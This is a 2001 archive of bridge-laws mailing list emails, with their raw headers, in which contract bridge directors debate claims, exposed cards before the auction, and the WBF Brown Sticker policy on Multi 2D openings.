2001 01:14:43 +0000 Message-ID: Date: Thu, 25 Jan 2001 15:18:37 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <3.0.6.32.20010124111435.007b91c0@ux1.cts.eiu.edu> <008701c08654$570e6570$a310f7a5@james> In-Reply-To: <008701c08654$570e6570$a310f7a5@james> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior writes >You continue to come up with entertaining scenarios that fail to >make your point. It is clear that in the coffee case you are >saying you do not care what the law is, you know better. This is >unacceptable. That a law is unfair and silly does not mean a >director should not enforce it. I will grant a 25b adjustment >for example. The wording of the law is very clear here. If you, >DWS, and others find it distasteful, then you need to turn to >Grattan, Ton, Kojak et al for redress. You are not justified in >simply ignoring it or twisting the plain meaning to your liking. >To do such qualifies you for little (except perhaps the ACBL >laws committee.) However, there are some cases where it has been accepted that we do not enforce the Laws exactly as written. [Why can I hear wolves baying in the distance?] The most obvious case is the OLOOT where we apply the Law as written even when there was not a lead in turn at the same time. It is an obvious and universally-accepted interpretation. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:16:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FYm18695 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Ert18657 for ; Fri, 26 Jan 2001 12:14:54 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTT-000M6G-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:50 +0000 Message-ID: Date: Thu, 25 Jan 2001 15:28:10 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <001f01c08641$f164df90$a310f7a5@james> <017a01c0866e$ab6632a0$9a9c1e18@san.rr.com> In-Reply-To: <017a01c0866e$ab6632a0$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes > >From: "Craig Senior" > >> I take it then that you favour having the Laws state that this >> is not a claim. You have made some worthwhile arguments toward >> that end. But that does not change the fact that the law as >> presently written makes this a claim. I would agree that either >> education or change is desirable. While 99.9999xx % do not >> disagree with either of us, you and I agree that we should not >> blindside players. The real violation (if any) seems to be one >> of humourous conduct...and perhaps we don't want to say $&^#$%$# >> em if they can't take a joke. I could easily live with this NOT >> being a claim...if the law read differently...so long as we >> punished any nefarious jokester who was seeking to disconcert >> his opponents into defensive error. As you have cogently pointed >> out, there are ample other means with which to do this. >> >I don't see those means as "ample." It is very difficult to determine that >a defensive error can be blamed on declarer's casual remark to the effect >that s/he will win a specific number of tricks. Better to prevent such >remarks in the first place. So prevent them then. The Laws are there. But to say that of comments about the possibility of making a number of tricks we are going to treat 10% of them as claims to try to get rid of such remarks, rather than dealing with 100% of them through the Proprieties seems a silly approach. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:16:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FZR18696 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Ett18661 for ; Fri, 26 Jan 2001 12:14:56 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTV-000M6E-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:52 +0000 Message-ID: Date: Thu, 25 Jan 2001 15:34:51 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> <007d01c08653$6e6b30a0$a310f7a5@james> In-Reply-To: <007d01c08653$6e6b30a0$a310f7a5@james> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior writes >If everyone within earshot interpreted it not to mean a claim >then there is not a problem. But if his opponents interpret it >as a claim, the law is on their side, and he has just stepped in >a poodle. What happens if the opponents knew it was not a claim, did not interpret it as a claim, but being charming people call the TD anyway and say it was a claim? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:16:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FiH18699 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1F5t18678 for ; Fri, 26 Jan 2001 12:15:06 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTf-000M6G-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:15:02 +0000 Message-ID: Date: Thu, 25 Jan 2001 15:56:02 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: SV: SV: [BLML] Fw: wbf brown sticker question References: <010701c0865f$c95e7600$bf1c40d5@oemcomputer> In-Reply-To: <010701c0865f$c95e7600$bf1c40d5@oemcomputer> MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Mailer: Turnpike Integrated Version 4.02 U Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0Q1FAt18684 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Peter Swensson writes >I´ve heard it before, but it is illogical in my ears. Why defend one specialcase >of multibids >(=exclude it from the BSC-family where it belongs)? Why not? >The convention 'Weak 2' has local meanings, for instans it is uncommon (at least >around here) that a 'weak 2' contains a Hxx(x) suit in other major and few >player would dream of opening 'weak 2' with a 5332 distribution. This means >that ' weak 2:s' promise 9 cards in major and and a minor regardless of the >length in major, 5 or 6. Fine. But the fact that you have a local meaning does not mean that we should not understand the most commonly used one arounfd the world, namely that a weak two is a bid that shows the bid suit, no other suit, and a weak hand. >The differences between the 'two bids' you describe above are small; I can't see >why anyone would like to get problem if they use the same defence method agains >them. If someone belive that they need a weak 10 card distribution for the >2-level let them contiune with that. Remember that the unusal weak twobids often >are even more informative than the traditional ones. > >Why don't we use the definition of 'weak 2 in a major': -"I have a 5-card major >and belive that the 2-level is sufficient, partner"? Because many many people do not agree with your interpretation, which sounds exceptionally unusual [for example] to me. >This kind of politics doesn't belong in a mind sport. Since the politics you are saying is that we should agree with your interpretation, I agree. It is not illogical to have a specific exception. The WBF has had it for many years. Attempts to get around the regulation seem pointless. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:16:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FhW18698 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1F1t18675 for ; Fri, 26 Jan 2001 12:15:02 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTa-000M6K-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:58 +0000 Message-ID: Date: Thu, 25 Jan 2001 15:47:08 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >>It also seems reasonable [why can I hear the baying of hounds behind >>me] that it should be ruled this way, which feels correct. > >The problem, David, is that the laws are apparently so badly written >that almost *any* ruling in this case would be right - or wrong. I >suppose that, if you remove your cards from the board, keeping them >face down while you count them IAW Law 7B1, and then turn them over, >at that point, you could say the auction starts, even though you >haven't yet actually seen the faces of *all* your cards. I suppose it >boils down to what you intended when you turned them over. Or we >could change law 17 so that the auction starts when you remove the >cards from the board, though that might have adverse effects I >haven't considered. I do agree that it doesn't seem likely that the >lawmakers intended that a card dropped face up accidently should mark >the beginning of the auction. > >So what do we do? Get the WBFLC to issue a minute clarifying whether >it's one card or all cards (or something in between)? Make a note to >change the Law in 2007? Run around in circles shouting "the sky is >falling"? (I'm tempted. I really am. :-) Take the bull by the horns >and do the best we can when we have to rule? All of the above? What we used to do here was to come to a reasonable consensus. Perhaps you could tell me why that is no longer allowed. We are no longer allowed to use reason - well, when I do I get very nasty personal remarks. Incidentally, what would you think if someone was descrived as Pickwickian? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:16:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FlR18700 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1F8t18683 for ; Fri, 26 Jan 2001 12:15:10 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTf-000M6F-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:15:03 +0000 Message-ID: Date: Thu, 25 Jan 2001 15:49:02 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Exposed Card before auction begins (?) References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> <009901c0866e$8b6d6220$911c073e@pbncomputer> In-Reply-To: <009901c0866e$8b6d6220$911c073e@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn writes >DWS wrote: > >> I understand this but it does not really seem to fit with the >English. > >Oh, well. At least we have not entirely given up attempting to >understand the English in which the Laws are written. > >> Looking at the face of a card seems a positive action to me, not the >> same as accidentally seeing it because it fell over. > >The difficulty here is that the English of L17 is fatally flawed. It >says: > >The auction period on a deal begins for a side when either player looks >at the face of his cards. > >Now, "his cards" have more than one "face", so this sentence is >ambiguous as to whether the auction period begins when a player has >looked at the face of one of his cards, or the faces of all of his cards >(or the faces of at least two of his cards). I would tend to the view >that the words mean: "when either player looks at the face of [anything >belonging to the set of] his cards", thus I would say that the words >literally mean "when a player has looked at the face of at least one of >his cards". But other constructions are certainly supportable. > >Obviously, the notion is that the auction begins when a player takes his >cards out of the board and looks at (one or more of) them. But the >literal meaning of the words implies that as soon as a player looks at >the face of any of his cards, the auction period has started for his >side. That is to say, if a player in taking his cards out of the board >drops one of them face up on the table, and if he then looks at the face >of that card, the auction has begun for his side. Just as when a player >makes a remark that is (per L68) a claim, it does not matter what his >intention was - what matters is what he has done. > >However, this question is not particularly relevant. Law 24 does not >require that the exposed card have been exposed during the auction for >the penalties contained in the Law to apply. It requires only that a >determination be made during the auction that the face of a player's >card could have been visible to his partner. (This may not have been >what was meant, but the language of L24 is just as hopeless as that of >L17.) Thus, the question of whether or not the dropped card was exposed >during or before the auction is really immaterial. If it is before the auction then surely L12B applies. Now, if the TD does not allow the deal to be played, L24 will not apply. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:19:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FDf18682 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Ejt18636 for ; Fri, 26 Jan 2001 12:14:45 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTI-000M6E-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:41 +0000 Message-ID: Date: Thu, 25 Jan 2001 14:57:24 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Consistent Claim Adjudication References: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> In-Reply-To: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Peter Newman writes > >Perhaps this is obvious....but if we can't agree whether "Making 12 tricks" >is a claim or not...;-) >[FWIW - put me down in the 'if the director is actually called in this >situation then it would be a claim' camp but hopefully if not intended as a >claim that everyone gets on with it (with L73 to handle the misleading >case)] > >On to more important matters - I really believe that claims should be >adjudicated in a manner so that players (like me) can expect consistency in >rulings.... >Last Sunday I was playing in an event with the following 6 card ending... > > T5 > -- > -- > Q654 >87 64 >87 A5 >95 -- >-- 87 > KJ3 > KJ6 > -- > -- > >At this point declarer claims the rest (not realising that the clubs weren't >running) by (as players do) putting all the clubs on the table and saying >something along the line of "...and the spades at the end." > >As a player: >If you were declarer how many tricks do you think you are entitled to? What >about if you were defender? If I was declarer, I would just think "Oh sh*t!" and mutter to myself. As a defender I would want my two tricks. >As a director: >How do you rule? Just two tricks to the defender [maybe]. The critical thing here is timing. Basically we know the order of tricks here, and they start club, club. Anything might be discarded from the South hand on the first club, say HK, but the second club has already lost before the discard is made. Now it becomes irrational to discard another heart. However, we have to find a discard from the South hand. SK or SJ seem obvious, and East gets his HA, and that's it. But how obvious? You might consider the S3 discard careless, and if so East can endlplay South for two heart tricks, leading away at the end in the following position: - 87 A5 J6 Then you give the defence three tricks. I think in the long run it would be good to change the Law and allow weighted scores in such cases. If the hand were played out I would expect the defence to get 3 tricks about 4% of the time, 2 tricks 96% of the time, and a ruling of 3 tricks looks wrong, but it s ruling of 2 tricks fair? Given the current Law I would actually rule two tricks to the defence. I consider the combination of discarding the HJ or HK followed by the S3 too unlikely to really be covered by the term "careless or inferior". -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 14:14:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q3E7Q00556 for bridge-laws-outgoing; Fri, 26 Jan 2001 14:14:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q3Dxt00510 for ; Fri, 26 Jan 2001 14:14:00 +1100 (EST) Received: from default (user-2ivf73r.dialup.mindspring.com [165.247.156.123]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id WAA05576 for ; Thu, 25 Jan 2001 22:13:53 -0500 (EST) Message-Id: <3.0.6.32.20010125221537.00c4d830@sujja.com> X-Sender: dkent@sujja.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 25 Jan 2001 22:15:37 -0500 To: From: David Kent Subject: Re: [BLML] WBF Systems Policy In-Reply-To: <02d101c08725$b581db60$9a9c1e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:18 25/1/01 -0800, Marvin L. French wrote: >From: "Grattan Endicott" >> >> From: Marvin L. French > >> > >> > From: "Grattan Endicott" >> > >> > > > > >> > > > > I have just read an article of yours on WBF >> > > > > conventions on David Stevenson's page and >> > > > > have a question. If I play a 2D opening as a >> > > > > 5-5 major/minor two suiter is it allowed (as >> > > > > a multi variant) or is it banned (because the >> > > > > anchor suit is unknown)? >> > > > > >> > > > > >> > > > +=+ This is a Brown Sticker convention and >> > > > may not be played in tournaments where >> > > > Brown Sticker (BS) conventions are prohibited. >> > > > Regarding the multi the WBF Systems Policy >> > > > says that what is not BS is an opening bid of >> > > > two in a minor suit that shows "a weak two in >> > > > either major, whether with or without the >> > > > option of strong hand types, as described in >> > > > the WBF Conventions Booklet". >> > >> > Does that mean only an unspecified major, only a >> > specified major, or whichever? >> > >> +=+ It means an agreement that 2D shows >> 'a weak two in either major' etc. +=+ >> >I don't see a smiley, so I take this to be a serious reply. > >Grattan, the WBFLC in general, and the ACBL, all seem to think that the >words "either," "or," and "any" are unambiguous. This is not correct. All >three have at least two common meanings that are inconsistent. We can >usually tell which meaning applies by the context, but not always, and not >in this case. > >If a 2D opening shows a weak two in hearts, is that not acceptable when "a >weak two in either major" is acceptable? It says either major, and hearts >is a major suit, isn't it? The ACBL says no, not acceptable, it must be a >weak two in an unspecified major. After I pointed out the ambiguity of >"either," they changed it to "an unspecified" last year. > >I had suggested "specified or unspecified," but for some reason they >didn't buy that. Despite the fact that a weak two in a specified major is >easier to defend than one in an unspecified major, it is not permitted >even in Mid-Chart events if it can have strong adjuncts (as Multi can). > >All I am asking is what meaning is intended by "either" in the WBF Systems >Policy. The policy allows Multi, evidently, but must the major suit be >unspecified, as in Multi, or can it be a specified major? Is that a dumb >question? > >Marv >San Diego, CA, USA > <%if ANAL RETENTIVE then CONTINUE READING%> I believe the relevant passage to be "as described in the WBF Conventions Booklet". As quoted from DWS's page http://www.blakjak.demon.co.uk/wbf_cnbk.htm "Multi 2D An opening 2D shows one of three types i.Weak two in a major suit ii.A strong balanced hand of a defined range iii.Strong three-suited hand Responses to 2D. The first response assumes that Opener has a weak two in a major. 2H: Willingness to play here or in at least 2S 2S: Willingness to play here or in at least 3H 2NT: Forcing, asking opener to clarify his hand Opener's rebids. With type (i): Over 2H: pass or bid 2S Over 2S: with hearts, bid 3H. Over 2NT: bid 3C to show hearts, upper range; 3D to show spades, upper range; 3H or 3S with lower range. With type (ii): rebid in notrumps at minimum level Other rebids show type (iii) and should be specified on the Convention Card." If you do not play it as defined in the booklet, you cannot play it in WBF events (or else it is defined as a BS convention). When the entire explanation is used, it is clear that "Weak two in a major suit" means "weak two in an unspecified major". I do believe that the description in the booklet is too restrictive. What if I want to open 2D on type i and type ii hands, but not type iii? Or similarly, what if I want to play that it shows a type i or type iii hand, but not type ii? Or what if I want to play a better system of responses to responder's 2NT inquiry? What if over the auction 2D - 2S - I would like to play Ogust style responses when holding a weak 2 in H? What if I believe that over the auction: 2D 2N 3C - max with weak 2 in unspecified M 3D - min weak 2 in H 3H - min weak 2 in S and so on and so on. According to the booklet, this is not allowed. Meckwell play 2D - 4C asks opener to xfer to his M. According to the booklet, this must show some strong 4441 which is described on the convention card. I suspect there are very few pairs which play Multi 2D exactly as described in the booklet. <%ANAL_RETENTIVE_CNT += 1%> <%endif%> Dave Kent -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 14:22:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q3MK303489 for bridge-laws-outgoing; Fri, 26 Jan 2001 14:22:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q3MBt03442 for ; Fri, 26 Jan 2001 14:22:12 +1100 (EST) Received: from default (user-2ivf73r.dialup.mindspring.com [165.247.156.123]) by mclean.mail.mindspring.net (8.9.3/8.8.5) with SMTP id WAA21959; Thu, 25 Jan 2001 22:22:05 -0500 (EST) Message-Id: <3.0.6.32.20010125222350.00c4fab0@sujja.com> X-Sender: dkent@sujja.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 25 Jan 2001 22:23:50 -0500 To: David Stevenson , bridge-laws@rgb.anu.edu.au From: David Kent Subject: Re: [BLML] Exposed Card before auction begins (?) In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:47 25/1/01 +0000, David Stevenson wrote: > Incidentally, what would you think if someone was descrived as >Pickwickian? Based on a quick search on Yahoo.com, "Obesity hypoventilation syndrome (Pickwickian syndrome) Alternative names: Pickwickian syndrome Definition: A group of symptoms that can accompany massive obesity. Massive obesity interferes with the movement of the chest wall and subsequently reduces the breathing. This results in a decreased ability to oxygenate the blood. Affected individuals suffer from chronic hypoxia (decreased blood oxygen). The Pickwickian syndrome is characterized by massive obesity, flushed face, frequent short episodes of irresistible sleep throughout the day, and disturbed sleep at night. These individuals are at risk for hypoxic cardiomyopathy, pulmonary hypertension, and cor pulmonale." Search engines are wonderful things. Dave Kent -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 15:23:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q4NMe19625 for bridge-laws-outgoing; Fri, 26 Jan 2001 15:23:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from falhost.fujitsu.com.au (falgate.fujitsu.com.au [137.172.211.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0Q4NFt19590 for ; Fri, 26 Jan 2001 15:23:15 +1100 (EST) Received: by falhost.fujitsu.com.au; id PAA25740; Fri, 26 Jan 2001 15:23:09 +1100 Received: from mailhost.fujitsu.com.au(137.172.19.140) by falhost via smap (V2.1) id xma025695; Fri, 26 Jan 01 15:22:55 +1100 Received: from Viruswall (mailhost.fujitsu.com.au) with ESMTP id f0Q4Mtb10184 Received: from sercit.fujitsu.com.au (sercit.fujitsu.com.au [137.172.40.224]) by mailhost.fujitsu.com.au (8.11.0/8.11.0) with ESMTP id f0Q4Ms910178 for ; Fri, 26 Jan 2001 15:22:54 +1100 Received: from localhost (petern@localhost) by sercit.fujitsu.com.au (8.9.3/8.9.3) with ESMTP id PAA09770 for ; Fri, 26 Jan 2001 15:22:30 +1100 Date: Fri, 26 Jan 2001 15:22:29 +1100 (EST) From: Peter Newman To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: <4X3E3MAsBEc6EwXF@blakjak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Thu, 25 Jan 2001, David Stevenson wrote: > Peter Newman writes > >Hi All, > > > >Thanks for the responses - it seems fairly agreed that it should be two > >tricks for the defence. North gets to pitch one heart from dummy, wakes up > >for the second and then doesn't pitch the stopper.... > > Reading this before I have even posted seems pretty quick! Sorry about that - it seemed there had been a welter of responses suggesting that it was an obvious situation. As you wrote it isn't quite so obvious. Nor is it to me. The reason I think that is if the hand was as I detailed in the 2nd example (below) then the same reasoning - it is irrational to pitch the heart stopper leads to 3 down. Losing a club, a heart and a diamond. [Despite many saying still 2 down]. My point was that if the hand was the 2nd example then by pitching hearts you make 3NT (and down 4 if you unlucky and the defense can organise 5 defensive tricks). Is it irrational to play for a lie of the cards where you can make the contract. I don't think the current claim laws are easy to interpret and I think it is very hard to get consistency when the directors start to guess at what is going to happen (particularly given that by the very essence of the situation declarer has done something close to irrational - miscounted the hand). > > >So I assume if the hand was (and although not described consistent with the > >play to this point): > > > > T5 > > -- > > -- > > Q654 > >-- 8764 > >A875 -- > >95 -- > >-- 87 > > KJ3 > > KJ6 > > -- > > -- > > Same ruling, probably 2 tricks for the defence, can see the argument > for three. Why 2? If you pitch a low heart and low spade the tricks are 3-3. If you pitch a low heart and high spade you make 5 tricks the defence 1. I dont see how you can average them. > >Put me down as a fan of - any director, same decision....or in other words - > >not a supporter of the current law! > > Directors who rule other than they believe the Laws to say should not > be getting fans. > > Of course, there are many situations where we do not agree, and claims > are one of them. That is why as a player I would like to see uniformity regardless of whether I get a director who subscribes to BLML or your average club director. Cheers, Peter -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws 